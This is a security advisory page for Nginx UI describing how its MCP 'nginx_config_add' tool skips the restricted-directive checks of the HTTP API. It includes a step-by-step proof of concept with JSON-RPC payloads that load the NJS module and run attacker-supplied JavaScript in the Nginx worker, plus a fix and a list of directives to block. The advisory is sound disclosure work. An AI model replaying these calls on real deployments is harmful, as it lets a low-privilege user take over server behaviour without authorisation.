Loading advisory.
Loading advisory.
Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
The regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content.
Published 2026-10-12 21:03 UTC · Modified 2026-10-19 21:41 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| github.com/0xJacky/Nginx-UI | Go | < 1.9.10-0.20260703131214-23d1934099b0 | 1.9.10-0.20260703131214-23d1934099b0 | go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260703131214-23d1934099b0 |
The regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content.
However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.
This is authenticated and is not OS command execution by itself.
/mcp
/mcp_message
MCP tool: nginx_config_add
Nginx configuration validation
A secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.
This may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.
Attacker has a secondary authenticated Nginx UI account.
MCP is enabled.
Nginx has NJS available:
find / -name "ngx_http_js_module.so" 2>/dev/nullObserved in the lab:
/usr/lib/nginx/modules/ngx_http_js_module.soRequest:
POST /api/configs
Authorization: <SECONDARY_USER_JWT>
Content-Type: application/jsonBody:
{
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nevents { worker_connections 1024; }\n\nhttp {\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}Observed result:
Rejected because the content contains restricted directives such as load_module/js_import/js_content.Open an MCP session and call tools/call with:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "poc.js",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "function handler(r) { r.return(200, \"MCP_NJS_MARKER\\n\"); }\nexport default { handler };\n"
}
}
}Call tools/call again:
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "nginx_config_add",
"arguments": {
"name": "nginx.conf",
"base_dir": "",
"overwrite": true,
"sync_node_ids": [],
"content": "load_module modules/ngx_http_js_module.so;\n\nuser nginx;\nworker_processes auto;\n\nerror_log /var/log/nginx/error.log notice;\npid /run/nginx.pid;\n\nevents { worker_connections 1024; }\n\nhttp {\n default_type application/octet-stream;\n js_import poc from /etc/nginx/poc.js;\n server {\n listen 127.0.0.1:18249;\n location /__poc { js_content poc.handler; }\n }\n}\n"
}
}
}Inside the Nginx UI container:
curl -i http://127.0.0.1:18249/__pocObserved response:
HTTP/1.1 200 OK
MCP_NJS_MARKERThis confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.
MCP configuration tools should enforce the same restricted directive validation as the HTTP API.
Apply ValidateConfigFile(path, content) before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:
load_module
js_import
js_content
js_set
perl_set
user root
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.003 on 2026-11-24 to 0.005 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.003 | first score | v2026.06.15 |
| 2026-11-26 | 0.005 | 0.003 | v2026.06.15 |